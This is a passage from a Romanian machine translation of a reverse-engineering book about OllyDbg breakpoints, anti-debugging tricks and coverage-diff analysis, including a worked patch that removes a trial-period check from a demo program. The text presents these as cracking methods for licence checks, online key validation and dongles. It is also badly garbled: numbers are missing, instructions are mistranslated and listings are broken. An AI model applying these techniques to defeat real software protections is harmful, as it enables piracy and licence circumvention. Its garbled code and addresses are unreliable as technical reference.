OllyDbg nu le poate face față, așa că codul de protecție trebuie să fie dezactivat manual, iar pentru aceasta trebuie să puteți seta puncte de întrerupere pe anumite combinații de comenzi ale mașinii Nu există atât de multe trucuri anti-depanare, sunt bine cunoscute atât hackerilor, cât și dezvoltatorilor Prin urmare, cu excepția cazului în care dezvoltatorii vin cu ceva fundamental nou (ceea ce este puțin probabil), hackerii pot învinge cu ușurință orice apărare, indiferent cât de complex și viclean ar fi Capitolul Discuție de depanare extinsă Setarea unui punct de întrerupere pe o singură comandă Să începem simplu Să luăm demonstrația TF exe și să încercăm să setăm un punct de întrerupere pentru comanda pushfd Încărcăm programul în depanator, selectăm comanda Set condition din meniul Debug sau apăsăm comanda rapidă de la tastatură + Pe ecran apare o frumoasă casetă de dialog Condiție pentru a întrerupe rularea urmăririi (Fig Yu ), care vă permite să întrerupeți urmărirea atunci când registrul еір depășește un anumit interval (ЕІР este în afara intervalului) sau, dimpotrivă, când acesta intră (ЕІР este în rază) In plus, este suportata oprirea la declansarea unei anumite conditii (Condition is TRUE) sau executarea uneia dintre cele predefinite (Command is one of) Este exact ceea ce avem nevoie! Pentru a seta un punct de întrerupere pe comanda pushfd, selectați opțiunea Command is one of, mergeți la fereastra de editare și introduceți comanda dorită, apoi faceți clic pe OK Caseta de dialog dispare și revenim la OllyDbg Dacă acum apăsați tasta (run), atunci nimic nu va funcționa, deoarece punctele de întrerupere condiționate funcționează doar în modul de urmărire Prin urmare, ar trebui să apăsați combinația de tastatură + (Depanare | Urmărire în) Ecranul depanatorului rămâne neschimbat și, la prima vedere, nu pare să se întâmple nimic Cu toate acestea, aruncați o privire mai atentă - în colțul din dreapta jos al liniei de stare, apare inscripția tgasipd (Fig ), confirmând că trasarea este în plină desfășurare și încarcă puternic nucleul sistemului de operare Orez Caseta de dialog Condiție pentru a întrerupe rularea urmăririi depanatorului OllyDbg vă permite să setați puncte de întrerupere pe comenzile arbitrare ale mașinii Orez Bara de stare afișează tgasipd, indicând faptul că depanatorul este în modul de urmărire Codul sursă pentru această demonstrație poate fi găsit pe CD-ul care însoțește această carte în directorul \CH \SRC Partea a II-a Tehnici de bază de hacking (ieșire Timpurile nucleului sâmburi) Orez În modul de urmărire, OllyDbg încarcă puternic nucleul sistemului de operare Orez Urmărire animată în OllyDbg (o linie de animație este afișată în colțul din dreapta jos al barei de stare) Capitolul Discuție de depanare extinsă Dacă în timpul urmăririi apăsăm + + (această comandă rapidă de la tastatură apelează „managerul de activități”), vom vedea că nivelul de încărcare a nucleului, corespunzător citirilor contorului de performanță Kernel Times ( Fig ), semnalează un nivel neobișnuit de ridicat al activității de depanare Dacă curba corespunzătoare nu este afișată, selectați opțiunea Show Kernel Times din meniul View Dacă în loc de + apăsați combinația + (Animați în), atunci viteza de urmărire va scădea de zeci de ori, dar OllyDbg va actualiza fereastra CPU la fiecare pas, evidențiind executarea comenzii cu cursorul (Fig ) Arată foarte frumos (este deosebit de interesant să observi ciclurile), dar acest mod, din păcate, este nepotrivit pentru lucrări practice Puteți întrerupe urmărirea (atât animația cât și normală) în orice moment apăsând tasta , în timp ce depanatorul se va opri la ultima instrucțiune executată Dacă urmăriți până la finalul victorios, apoi după ceva timp (care depinde în primul rând de puterea procesorului dvs ), depanatorul se va opri la instrucțiunea pushfd (Fig ) Aceasta este „inima” mecanismului de apărare, pe care trebuie să-l analizăm și să-l neutralizăm Codul anti-depanare este extrem de simplu și se încadrează în doar patru linii (Listing - ) Orez Oprirea depanatorului când un punct de întrerupere lovește o instrucțiune pushfd E I C F I I I PUSHFD POP EAX SI EAX, JNZ SHORT TF A Paznicul împinge registrul steag pe stivă cu comanda pushfd și îl introduce imediat în eax, verificând bitul de urmărire cu operația logică și eax iooh Numai că nu va exista niciun bit de urmărire pe stivă, deoarece OllyDbg îl va elimina automat Cu toate acestea, pentru ca programul să funcționeze cu alte aplicații de depanare, trebuie să înlocuiți jnz cu nop/nop sau și eax, io Oh cu AND EAX, Oh Dacă urmărim puțin programul, vom ieși din procedura anti-depanare și vom intra în codul mașinii care este destul de tipic pentru programele de nivel înalt Acest cod folosește perechea de instrucțiuni test eax, eax/jx pentru a testa valoarea returnată a funcției (Listarea - ) A | E D FFFFFF APEL TF F| C TEST EAX, EAX | F JE SCURT TF Mai multe informații despre acest subiect pot fi găsite în următoarea parte a acestei cărți, „Identificarea structurilor cheie în limbajele de nivel înalt” Partea a II-a Tehnici de bază de hacking PUSH TF ; ASCII „depanatorul nu a fost detectat” E С Apelați TF A D С ADAUGĂ ESP, EU D JMP SHORT TF F |> PUSH TF ; ASCII „depanator a fost detectat!” E D Apelați TF A С С ADAUGĂ ESP, Să încercăm să setăm un punct de întrerupere pentru apelul de combinație de comenzi xxx\ test eax,eax\jx Vai, nu putem face nimic! Fereastra Condiție pentru a întrerupe rularea urmăririi spune clar Command este una dintre (una dintre următoarele comenzi) Aceasta înseamnă că dacă introduceți call const; în caseta de editare; test eax, eax; jcc const, atunci depanatorul se va opri la fiecare dintre comenzile enumerate, ceea ce nu este deloc în planurile noastre Dar OllyDbg are o astfel de sintaxă! Apropo, despre sintaxă Depanatorul acceptă șabloane care vă permit să compuneți expresii regulate simple De exemplu, R reprezintă orice registru de uz general pe de biți, iar comanda test R , R oprește urmărirea când sunt executate comenzile test eax, eax; test est, edx, etc ra este orice registru de uz general, altul decât rb, deci șablonul test ra, ra se va opri la test eax, eax, dar omite testul eax, eax În consecință, testul șablon ra, rb va rămâne indiferent față de instrucțiunea test eax, eax Cuvântul cheie const înlocuiește orice operand imediat, cum ar fi mora, const stops at my al, h și mov esi, h și call const la orice apel de procedură directă Expresia jcc const se potrivește cu orice salt condiționat (dar nu necondiționat!) la o adresă imediată Alte cuvinte cheie sunt listate în tabel Tabelul Cuvinte cheie acceptate de OllyDbg în expresiile utilizate la definirea punctelor de întrerupere Scopul cuvântului cheie R Orice registru de biți (al,bl, cl, dl, ah, bh, ch, dh) R Orice registru pe biți (ax, bx, cx, dx, sp, bp, si, di) R Orice registru pe de biți (EAX, evx, esx, edx, esp, heb, esi, edi) FPU Orice registru de coprocesor matematic (ST ST ) MMX Orice registru MMX (mmo:mm ) CRX Orice registru de control (CR :CR ) DRX Orice registru de depanare (dro:dr ) CONST Orice constantă OFFSET Orice offset (echivalent cu o constantă) JCC Orice salt condiționat (je, jc, jnge ) SETCC Orice instrucțiune pentru a seta condiționat octeți (sete, setc, setnge ) CMOVCC Orice redirecționare condiționată (cmove, cmovc, cmovnge ) Toate acestea, desigur, sunt minunate Cu puțină practică, putem seta un punct de întrerupere pe orice comandă de mașină (cu excepția adresei mem, pe care OllyDbg nu o acceptă), dar nu avem nevoie de comenzi individuale, ci de combinații de mai multe comenzi Cum să fii, ce să faci? Capitolul Discuție de depanare extinsă Căutare șablon în text dezasamblat Apăsați comanda rapidă de la tastatură + sau selectați Căutare | Secvența de comenzi Va apărea caseta de dialog Găsiți secvența de comenzi (Figura ) Introduceți apelul șablonului constXtest eax,eax\jcc const în această fereastră, plasând fiecare comandă pe o linie nouă, apoi faceți clic pe butonul Găsiți pentru a căuta secvența specificată de instrucțiuni ale mașinii în textul dezasamblatorului OllyDbg va găsi această secvență foarte repede, mult mai rapid decât urmărirea Orez Secvența de comandă găsită de OllyDbg în textul dezasamblat Acum putem apăsa tasta , setând un punct de întrerupere soft pe comanda de apel și continuăm căutarea, marcând toate combinațiile găsite Când rulați programul live sub depanator folosind (utilizarea modului de urmărire este complet opțională aici), OllyDbg va apărea la fiecare instrucțiune de apel pe care o întâlnește După aceea, tot ce ne rămâne este să așteptăm să apară caseta de dialog cu un mesaj despre înregistrarea incorectă, o perioadă de probă expirată, un fișier cheie lipsă etc Cu un anumit grad de probabilitate, ultima instrucțiune de apel care a declanșat înainte apariția acestei ferestre va fi singurul mecanism de apărare care ne otrăvește viața Poate fi piratat printr-o inversare trivială a saltului condiționat, înlocuind jnz cu jz (și jz cu jnz) Desigur, cu apărări complexe, această metodă nu va mai funcționa, dar totuși funcționează destul de des, așa că are sens să o dai în funcțiune Optimizarea compilatoarelor poate „rupe” tiparul standard punând alte instrucțiuni de mașină între instrucțiunile eax și eax de testare (Listing ) Acest lucru îmbunătățește performanța prin eliminarea timpului de nefuncționare a conductei, dar face căutarea de modele mai dificilă E E EB EC EE E F Apelați TF C C TEST EAX, EAX POP EAX, EAX POP ECX, HOEWORD POP ECX: ECX: Din fericire, OllyDbg acceptă minunatul cuvânt cheie any n, care permite omiterea de la zero la n instrucțiuni ale mașinii În special, orice este echivalent cu oricare două mașini Partea a II-a Tehnici de bază de hacking instrucțiuni, orice instrucțiune unică pe mașină sau absența instrucțiunilor într-o anumită locație Noua versiune a șablonului, care ține cont de caracteristicile de optimizare a compilatoarelor, arată astfel: call const\test eax, eax\any \jcc const Alegerea corectă a valorii lui n este foarte importantă O valoare prea mare va duce la rezultate false pozitive, iar o valoare prea mică va duce la omiterea modelului Practica arată că valoarea optimă este trei Șabloane de programare în cod nativ Principalul dezavantaj al căutării prin + este că OllyDbg caută o combinație de comenzi în text dezasamblat, iar în programele protejate este aproape întotdeauna împachetat sau criptat Nu poți găsi mare lucru cu o căutare statică! Prin urmare, trebuie să revenim la urmărirea pas cu pas și să vedem ce alte mecanisme de punct condiționat ne oferă OllyDbg Șirul Condition is TRUE vă permite să specificați orice condiție care, dacă este adevărată, oprește urmărirea Nici tiparele, nici expresiile regulate nu sunt acceptate aici, iar toate acestea trebuie programate manual, coborând la nivelul codurilor de mașină „goale” Un sentiment de nedescris - se pare că ești transportat în secolul trecut și te dovedesc a fi IBM XT, când nu existau încă instrumente de hacking gata făcute Bine, să nu ne lăsam nostalgii, este mai bine să deschideți manualul electronic Tech Help! (http://webpages charter net/danroIlins/techhelp/INDEX HTM; și un fișier techhelp zip împachetat poate fi găsit pe multe site-uri de hack) sau referința la comandă Intel/AMD Matrice de coduri operaționale pentru instrucțiuni de mașină de la Ajutor tehnic! prezentată în fig Notă Pe CD-ul care însoțește această carte veți găsi capitolul „Arta depanării mentale” din cartea „Tehnici de depanare a programelor fără sursă” , care va fi util oricărei persoane care dorește să înțeleagă principiile programării codului mașinii Mai exact, ne vor interesa instrucțiunile mnemonice call const, test eax, eax și jnz/jz De acolo, în special, aflăm că instrucțiunea de apelare are un opcode de E h urmat de patru octeți ai unei adrese relative Instrucțiunea de testare eax, eax sub formă de mașină arată ca h coh și jz/jnz sunt reprezentate de binecunoscutele instrucțiuni de doi octeți h xxh/ h xxh, unde xxh este decalajul relativ al adresei de salt, numărat de la început a instrucțiunii Orez Matrice de coduri operaționale pentru instrucțiuni de mașină de la Ajutor tehnic! Chris Kaspersky „Tehnica de depanare a programelor fără texte sursă” - Sankt Petersburg: BHV-Pegerburg Capitolul Discuție de depanare extinsă Rezumând tot ce tocmai s-a spus, putem compune o expresie care funcționează pe o anumită secvență de comenzi Vom începe de la conținutul registrului eіp - dacă este egal cu E h, atunci aceasta este o comandă call const Prin creșterea ep cu octeți (lungimea instrucțiunii call const), obținem un pointer către următoarea comandă Următoarea comandă trebuie verificată cu opcode-ul instrucțiunii de testare eax, eax egal cu h coh (c h cu big endian pe procesoarele x luate în considerare) Rămâne de verificat: a treia instrucțiune este sau nu o ramură condiționată? Creștem еір cu încă octeți (lungimea instrucțiunii de testare еах, еах) și uităm: dacă este h sau h, atunci a fost găsită secvența dorită de comenzi! Pentru a „alimenta” acest construct către depanator, trebuie să studiați sintaxa expresiei șirului Condiția este TRUE descrisă în Sec Fișierul „Evaluarea expresiilor” OllyDbg hlp Nu este deloc asemănătoare cu sintaxa SoftICE sau cu sintaxa C De fapt, este o încrucișare între asamblator și un amestec de Pascal și C Identitatea este specificată printr-un semn dublu egal (==), iar inegalitatea este specificată ca în C ('=) Operațiile logice și și sau sunt notate de operatorii unici & și | (adică nu ca în C) O expresie cuprinsă între paranteze drepte returnează conținutul locației de memorie la adresa dată, de exemplu, [eax] În mod implicit, dimensiunea celulei este de patru octeți, iar cuvintele cheie octet, cuvânt și dword sunt utilizate pentru conversia tipului, de exemplu: [byte esi] == Toate numerele sunt tratate ca hexazecimal și trebuie să înceapă cu o cifră Adică FA este corect, dar fa nu mai este Din păcate, OllyDbg nu oferă mesaje de eroare, ceea ce face dificilă depanarea expresiilor Dacă există un punct după număr, acesta este tratat ca o zecimală, deci expresia (u==ib ) este adevărată Literalele sunt cuprinse între ghilimele simple („A”== ), iar șirurile sunt cuprinse între ghilimele duble Expresia ([ESI] == „parolă”) este evaluată la adevărat atunci când registrul esi indică spre parola șirului ASCll (parantezele pătrate sunt opționale și pot fi omise), dar dacă șirul este în Unicode, utilizați cuvântul cheie unicode, pentru exemplu: (unicode [ esi]=="parolă") În plus, sunt permise expresii aritmetice precum *, +, -, precum și semnele > și + și introduceți această expresie în linia Condition is TRUE, amintindu-vă să bifați caseta corespunzătoare Acum puteți începe urmărirea apăsând + sau + Dacă expresia este introdusă corect (ceea ce nu este întotdeauna posibil la prima încercare), OllyDbg se va opri cu ascultare înainte de a intra în funcția CALL const (Fig ) Compilarea expresiilor complexe direct în linia de editare este foarte incomod, iar vizibilitatea are de suferit Te încurci constant între paranteze și uiți ce este deja scris și ce nu este În cele din urmă, odată scrisă (și depanată!) expresia trebuie cumva să fie salvată și furnizată cu comentarii care să explice ce face de fapt Din păcate, OllyDbg nu știe cum să facă toate acestea, așa că este mai bine să compui expresii în editorul tău preferat (de exemplu, în editorul FAR Manager încorporat, apelat prin apăsarea tastei cu pluginul Colorer , care vă permite să vă deplasați între paranteze și să controlați corectitudinea cuibării lor) De asemenea, puteți posta comentarii acolo Cu toate acestea, OllyDbg interpretează expresiile greoaie foarte încet, iar trasarea devine complet neproductivă Colorer este o bibliotecă care oferă analiza textului cu evidențierea culorilor Vă permite să analizați textul în editor în timp real Puteți descărca acest plugin aici: http://plugring farmanager com/cgi-bin/downld cgi Partea a II-a Tehnici de bază de hacking driver, iar pentru succesul operațiunii, trebuie să implementăm analogul nostru al cuvântului cheie any, deoarece, după cum sa menționat deja, compilatoarele de optimizare pot „dilua” comenzile TEST EAX, eax și jx cu instrucțiuni străine Orez Setarea punctelor de întrerupere pe o secvență de instrucțiuni ale mașinii Implementarea cuvântului cheie any într-un limbaj de expresie este o sarcină foarte complexă care poate fi realizată doar prin scrierea propriului dezasamblator de lungime de comandă Cel mai bine este să-l implementați în C ca un plugin de depanare, mai ales că codul sursă pentru dezasamblator este distribuit cu OllyDbg (http://www ollydbg de/srcdescr htm), ceea ce înseamnă că cea mai mare parte a lucrării a fost deja a fost făcut pentru noi Perl se va ocupa de restul De ce nu? Nu vă puteți gândi la un „motor” mai bun pentru compilarea expresiilor regulate! Combinând Perl cu un dezasamblator, avem un instrument puternic Pluginul primește un flux de comenzi „obținute” de trasorul OllyDbg, dezasamblatorul îl transformă în text, iar Perl caută tot ce îi spunem în acest text O mică nuanță - pentru a combate codul care se auto-modifica, este necesar să abandonați privirea înainte și să analizați numai instrucțiunile executate pe care OllyDbg le plasează în jurnalul de urmărire Cu toate acestea, acest obiectiv este deja prea ambițios Este suficient să conectați pur și simplu Perl la un dezasamblator și să vă bucurați de capacitatea de a seta puncte de întrerupere pentru orice combinație de comenzi Acest lucru vă va ajuta să ocoliți toate trucurile anti-depanare care există La urma urmei, orice tehnică anti-depanare, de fapt, este specificată de una sau alta combinație de instrucțiuni ale mașinii, iar numărul de variații posibile este destul de limitat Când vă confruntați cu o apărare care provoacă blocarea depanatorului, ar trebui să găsiți ce combinație specială de comenzi o face și apoi să adăugați acest truc anti-depanare la plugin În cele din urmă, veți obține un analog al IceExt pentru OllyDbg, doar mai puternic Adevărat, și va funcționa încet datorită folosirii Perl neîndemânatic Capitolul Discuție de depanare extinsă Trecând prin coperta Cea mai grea parte a hacking-ului este găsirea codului de securitate (adesea o combinație trivială de comenzi precum CALL CheckReg/TEST EAX,EAX/Jx neînregistrat) După ce acest cod este descoperit, hacking-ul devine o chestiune de tehnologie Punctele de întrerupere, referințele încrucișate și multe alte tehnici de contraprotecție sunt în arsenalul hackerilor, dar nu sunt întotdeauna eficiente În acest caz, hackerul trebuie să caute noi căi și metode, dintre care una va fi discutată în această secțiune Idee călăuzitoare Luați în considerare un program imaginar limitat în timp, care funcționează bine pentru o perioadă de timp, apoi apare un dialog care solicită înregistrarea și ieșirile Evident, dacă găsim codul care aduce această fereastră pe ecran, nu va trebui decât să ajustem Jx sau să adăugăm câteva instrucțiuni nop Dar ce anume trebuie ajustat și cum ar trebui făcut? Puteți, desigur, să puneți un punct de întrerupere pe funcția API sau să treceți prin referințe încrucișate la linii abuzive, dar acest lucru nu este suficient de eficient Există zeci de funcții API responsabile pentru citirea datei curente și crearea casetelor de dialog, iar șirurile de text sunt adesea criptate sau stocate în resurse Dar dacă comparăm piesele programului înainte și după expirarea perioadei de probă? Codul care aduce fereastra pe ecran nu se executa in primul caz, ci se executa in al doilea! Astfel, hacking-ul se reduce la analiza acoperirii, care este măsurată de profileri și utilități aferente Un cod se numește acoperit dacă a primit controlul cel puțin o dată și, în consecință, invers Acoperirea permite, de asemenea, să fie sparte alte tipuri de mecanisme de apărare De exemplu, puteți dezactiva în acest fel ecranele nag care apar la intervale aleatorii sau regulate Pentru a face acest lucru, trebuie doar să rulați programul și să ieșiți imediat din el, înaintea ecranului nag, iar în următoarea rulare, așteptați cu răbdare să apară După aceea, tot ce rămâne este să comparați rezultatele acoperirii (cu toate acestea, acest lucru nu va ajuta dacă nag-screen este afișat înainte de începerea programului) Protecțiile bazate pe un fișier cheie sau un număr de serie sunt ușor de spart prin acoperire chiar și cu o singură cheie validă Unii ar putea întreba: de ce să spargeți protecția dacă cheia este deja acolo? Foarte simplu! Multe programe încearcă să autentifice cheia prin Internet, iar dacă solicitările de confirmare vin de la adrese IP diferite, cheia este declarată „pirată” și se trimite programului un semnal de dezactivare Acoperirea ne permite să stabilim instantaneu exact unde are loc verificarea și să o blocăm În multe cazuri, problema este rezolvată de firewall, dar unele programe au învățat deja să determine prezența unei rețele, de exemplu, apelând funcția InternetGetConnectedState API În acest caz, dacă există o conexiune la Internet, mecanismele de securitate vă cer cu obrăznicie să dezactivați firewall-ul pentru a activa cheia Același lucru este valabil și pentru cheile electronice Comparând urmărirea rulării programului cu și fără cheie, vedem toate verificările, după care fie le neutralizăm, fie scriem propriul emulator, care este depanat și comparând urmele Acoperirea ne oferă o metodă fiabilă de hacking, permițându-ne să identificăm toate verificările, chiar dacă acestea provin de la adrese diferite și cu probabilități diferite Obținem, parcă, o „turnă în relief” din program, care detectează cu ușurință ceea ce fără ea se găsește doar prin trasare obositoare sau demontare minuțioasă Selectarea instrumentului Analiza acoperirii este realizată de multe utilități, atât comerciale, cât și gratuite Favoritele clare includ Iniei Coverage Tool, NuMega TrueCoverage și așa mai departe, până la MS profile exe care vine cu Visual Studio Cu toate acestea, toate sunt concentrate pe lucrul cu programe care au texte sursă, iar fișierul binar „gol” nu poate fi procesat împreună cu Partea a II-a Tehnici de bază de hacking permanent Din fericire, sunt destul de ușor de păcălit generând toate informațiile necesare pe baza unei liste de dezasamblare obținute folosind IDA Pro De fapt, profilerul are nevoie doar de informații despre numerele de linii și numele funcțiilor Nu funcționează cu codul sursă și, pentru a rezolva problema, trebuie doar să adăugăm informații de depanare la fișierul spart Adevărat, pentru asta trebuie mai întâi să te ocupi de formatul acestuia Unii profileri acceptă fișiere de hartă banale (care pot fi generate automat de același dezasamblator IDA Pro), dar majoritatea lucrează cu propriile formate (de obicei nedocumentate), strâns legate de compilatoarele corespunzătoare (de exemplu, în cazul Intel Coverage Tool) , acesta este Intel Fortran Compiler sau Intel C++ Compiler) În plus, Intel Coverage Tool necesită prezența obligatorie a Intel VTune Performance Analyzer (Fig ), care este mai mare de MB În plus, Intel VTune Performance Analyzer nu funcționează bine sub VMware Fișier Editare Executare Vizualizare Inserare Configurare Ajutor fereastră Diblei > ui -| ff| Al aj| і p \n");diff(pl,p ,fl); pnntf("\ndiff p -> pl\n");diff(p ,pl, f ) ; întoarce ; } Acest program este compilat cu comutatoarele implicite În special, atunci când utilizați Microsoft Visual C++, linia de comandă arată astfel: сі exe log-coverage-diff f c, și pentru a crea o versiune optimizată - cl exe /Ox log-coverage-diff f c Codul sursă și fișierele executabile pentru acest program pot fi găsite pe CD-ul care însoțește această carte, în directorul \CH \SRC Partea a II-a Tehnici de bază de hacking Notă Dacă copiați tot codul din Lista - în mediul dumneavoastră de dezvoltare și încercați să compilați și să conectați programul apăsând tasta (Burld), încercarea de compilare va eșua Nu fi surprins de acest lucru, deoarece programul nu ar trebui compilat în acest fel În mod implicit, Microsoft Visual Studio creează un proiect în C ++, iar acest program este scris în C clasic, deci trebuie să îl compilați din linia de comandă Un exemplu de hack Ca exercițiu, vom scrie cea mai simplă protecție pentru o perioadă de probă și vom încerca să o depășim comparând acoperirile înainte și după perioada de probă Codul sursă al programului spart ar putea arăta, de exemplu, așa cum se arată în Lista Perioada de probă este dată de constantele ye (an), me (lună), md (ziua) Setați aceste constante pentru a se potrivi cu data curentă (astfel încât programul să ruleze în continuare înainte de a începe experimentarea) = Lista Programul coѵer ^^ s ^^ ini expired = ; #define md #definiți-mă #definiți-vă foo() SYSTEMTIME sy; GetSystemTime(&sy) ; dacă ((sy wYear&OxF)*sy wMonth*sy wDay > (ye&OxF)*me*md) a expirat=l; principal() printf("probă de acoperire\n"); foo(); dacă (a expirat) printf("procesul a expirat!\n"); Compilarea se realizează în același mod ca în cazul precedent (vezi listarea ) Ca urmare a compilării și legăturii, fișierul coverage exe va apărea pe disc Rulați acest fișier pentru execuție pentru a vă asigura că programul produce proba de linie ok Apoi mutați data sistemului după sfârșitul perioadei de probă și rulați din nou programul Acum programul va afișa proba de șir a expirat!, ceea ce înseamnă că programul trebuie întrerupt! Resetați data sistemului la starea inițială și încărcați coverage exe în OllyDbg (Figura ) Apoi, din meniul Vizualizare, selectați comanda Run trace și apăsați comanda rapidă de la tastatură + pentru a apela meniul contextual Din meniul contextual, selectați comanda Log to file, iar în caseta de dialog care apare, introduceți numele fișierului - coveragel txt Apoi apăsați tastele + (Trace Into) și așteptați finalizarea programului Pe disc Capitolul Discuție de depanare extinsă Fișierul coveragel txt are o dimensiune de aproximativ MB În aceeași fereastră Run trace, apăsați din nou combinația de tastatură + și închideți fișierul jurnal (Închideți fișierul jurnal) Reporniți programul apăsând combinația + , mutați data sistemului înainte și apoi reveniți la fereastra Run Trace Apăsați comanda rapidă de la tastatură + , selectați comanda Log to file și introduceți numele de fișier coverage txt Începeți urmărirea apăsând + , așteptați ca programul să se termine și închideți fișierul jurnal ( + , Închideți fișierul jurnal) Acum avem două fișiere jurnal care pot fi procesate de utilitarul log-coverage-diff exe pentru a vedea diferența de acoperire înainte și după perioada de probă (Listarea - ) Se afișează , ° g de acoperire kbda prommy înainte și* ^expirationsp '*strong<> p Acoperire PUSH principal B Acoperire CALL principal Principal ADD ESP, dif p -> pl B Principal Principal MOV DWORD PTR DS:[ F ], Acoperire PUSH Partea a II-a Tehnici de bază de hacking C Principal Principal Principal Acoperire APEL ADAUGĂ ESP, Acoperire JMP SCURT Privind rezultatele afișate în listarea - , chiar și un începător poate ghici că dword la F h este indicatorul global de expirare a probațiunii și că dword-ul meu ptr ds: [ F ], i este codul pe care îl pune la încercare se termină Pentru ca programul să fie utilizat permanent, este suficient să înlocuiți dword ptr ds: [ F ], cu DWORD PTR DS: [ F ], Încărcați coverage exe HIEW, apăsați de două ori pentru a intra în modul de dezasamblare, apăsați (Goto) și introduceți adresa comenzii moѵ precedată de un punct (punctul este necesar pentru a-i spune lui HIEW că acesta nu este un decalaj față de începutul dosarului) În cazul în cauză, această adresă este B Acum apăsați pentru a activa modul de editare și apoi pentru a introduce comanda de asamblare (Fig ) HIEW copiază automat instrucțiunea curentă în linia de editare și tot ce trebuie să facem este să înlocuim cu și să apăsăm pentru a salva modificările în fișier După părăsirea HIEW, fișierul poate fi rulat indiferent de data curentă Orez Hacking coverage exe cu HIEW Alternativ, puteți deschide coverage exe în IDA Pro și puteți vedea ce se află la adresele date de utilitarul log-coverage-diff exe (Listing ; diferențele de acoperire a codului înainte și după expirarea perioadei de încercare sunt scrise cu caractere aldine) ca în împrejurimile lor Poate vom găsi o modalitate mai rapidă de a pirata sub proc aproape push ebp mov ebp, esp sub esp, Oh lea eax, [ebp+SystenfTime] push eax ; IpSystenfTime A apel ds: GetSystenfTime mov ecx, dword ptr [ebp+SystenfTime wAn] și ecx, OFFFFh și ecx, OFh С mov edx, dword ptr [ebp+SystenfTime wMonth] Capitolul Discuție de depanare extinsă F și edx, OFFFFh imul ecx, edx mov eax, dword ptr [ebp+SystemTime wDay] B și eax, OFFFFh imul ecx, eax emp ecx, Oh jle scurt loc В nov dword F , os : mov eșp, ebp pop ebp retn sub endp proc principal aproape push ebp А mov ebp, esp C push offset aCoverageTrial ; „probă de acoperire\n” sunați printf add eșp, sunați sub Е emp dword F , jz scurt loc push offset aTrialHasExpire ; „încercarea a expirat!\n' С apel prințf adăugați esp, jnp scurt IOC- oc : push offset aTrialOk ; "probă ok\n" В apel printf adăugați esp, oc : pop ebp retn Orez Diferența de acoperire a codului a programului studiat atunci când este vizualizat în IDA Pro Partea a II-a Tehnici de bază de hacking După cum puteți vedea, „inima” mecanismului de apărare este concentrată în procedura sub oiooo, care compară data curentă cu o constantă hard-coded, după care efectuează jle pe oc Y (perioada de probă încă nu a expirat) sau nu nu faceți această tranziție, iar apoi comanda este executată mov dword F , Comanda mov dword F , setează indicatorul de expirare globală a probațiunii, care este verificat într-un singur loc - adresa Eb Această adresă este urmată de un salt condiționat jz short ios b, care selectează care dintre cele două mesaje să fie afișat Notă În programele cu adevărat sigure, indicatorul de înregistrare este de obicei verificat de mai multe ori Dacă înlocuim jle short oc cu jmp short oc , atunci indicatorul de expirare a probațiunii nu va fi setat niciodată Pentru claritate, puteți scrie un script IDA C simplu care citește rezultatul utilitarului log-coverage-diff exe și marchează diferențele de acoperiri cu un anumit caracter, de exemplu, * * va însemna că această comandă a mașinii a fost executată numai în prima rulare și * * - numai în a doua (Fig ) Notă Detalii despre sintaxa IDA C și tehnicile de scripting pot fi găsite în cartea Mindset - IDA PRO Concluzie Pentru a rezuma, în acest capitol, care încheie partea a doua a cărții, ne-am familiarizat cu noi metode de hacking, am scris câteva utilități utile și ne-am îmbogățit cu idei proaspete În general, ne-am distrat bine și acum putem merge mai departe cu încredere, trecând la stăpânirea unor metode mai complexe de cercetare a codului Chris Kaspersky „Mindset - IDA Pro Dezasamblator” - Solon-R, PARTEA III IDENTIFICARE STRUCTURILE CHEIE LIMBURI LA NIVEL ÎNALT Capitolul Identificarea funcției Studiul algoritmilor pentru programele scrise în limbaje de nivel înalt începe în mod tradițional cu reconstrucția structurilor cheie ale limbajului sursă - funcții, variabile locale și globale, ramuri, bucle etc Acest lucru face ca lista dezasamblată să fie mai vizuală și mult mai mare simplifică analiza acestuia Dezasamblatorii moderni sunt destul de inteligenți și își asumă partea leului din munca de recunoaștere a structurilor cheie În special, IDA Pro face față cu succes la identificarea funcțiilor standard de bibliotecă, a variabilelor locale adresate prin registrul esp, a ramurilor de caz etc Cu toate acestea, uneori, chiar și IDA Pro face greșeli, inducând în eroare cercetătorul, iar costul ridicat al acestui dezasamblator nu este justifică întotdeauna folosirea lui Deci, de exemplu, studenții care studiază assembler (și cel mai bun mod de a învăța assembler este de a dezasambla programele altora) cu greu își vor putea permite Desigur, lumina nu a convergit pe IDA Pro - există și alte dezasamblatoare, de exemplu, același utilitar DUMPBIN, care este inclus în livrarea standard a SDK-ului Desigur, dacă nu este nimic mai bun la îndemână, DUMPBIN va face, dar în acest caz va trebui să uiți de inteligența dezasamblatorului și să faci toată munca manual În primul rând, ne vom familiariza cu compilatoarele neoptimizatoare - analiza codului lor este relativ simplă și destul de ușor de înțeles chiar și pentru începătorii în programare Apoi, după ce stăpânim dezasamblatorul, trecem la lucruri mai complexe - optimizarea compilatoarelor care generează cod foarte complicat, confuz și ornamentat Metode de recunoaștere a caracteristicilor O funcție (numită și procedură sau subrutină) este blocul de bază al limbajelor procedurale și orientate pe obiecte, așa că dezasamblarea codului începe de obicei cu identificarea funcțiilor și identificarea argumentelor pe care le transmit Strict vorbind, termenul „funcție” nu este prezent în toate limbile, dar chiar și acolo unde este prezent, definiția lui variază de la o limbă la alta Fără a intra în detalii, vom înțelege o funcție ca o secvență separată de comenzi apelate din diferite părți ale programului O funcție poate lua unul sau mai multe argumente sau nu poate lua niciunul; poate returna rezultatul muncii sale sau poate nu se întoarce - aceasta nu este esența acestuia Proprietatea cheie a unei funcții este revenirea controlului la locul apelului său, iar caracteristica sa caracteristică este apelurile multiple din diferite părți ale programului (deși unele funcții sunt apelate dintr-un singur punct) Cum știe funcția unde să revină controlul? Evident, codul de apel trebuie să stocheze mai întâi adresa de retur și apoi să o transmită împreună cu alte argumente funcției apelate Există multe modalități de a rezolva această problemă Puteți, de exemplu, înainte de a apela o funcție, să plasați un salt necondiționat la adresa de retur la sfârșitul funcției Alternativ, puteți stoca adresa de retur într-o variabilă specială și apoi Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Când funcția se termină, efectuați un salt indirect folosind această variabilă ca operand al instrucțiunii de salt Fără să ne oprim pe o discuție despre punctele forte și punctele slabe ale fiecărei metode, observăm că compilatorii în marea majoritate a cazurilor folosesc instrucțiunile speciale de mașină call și ret, concepute, respectiv, pentru a apela o funcție și a ieși din ea Instrucțiunea de apel împinge adresa instrucțiunii care o urmează în partea de sus a stivei și ret trage această adresă de acolo și îi transferă controlul Adresa indicată de instrucțiunea de apel este adresa de la începutul funcției Și instrucțiunea ret închide funcția Notă Rețineți că nu orice instrucțiune ret marchează sfârșitul unei funcții Astfel, o funcție poate fi recunoscută în două 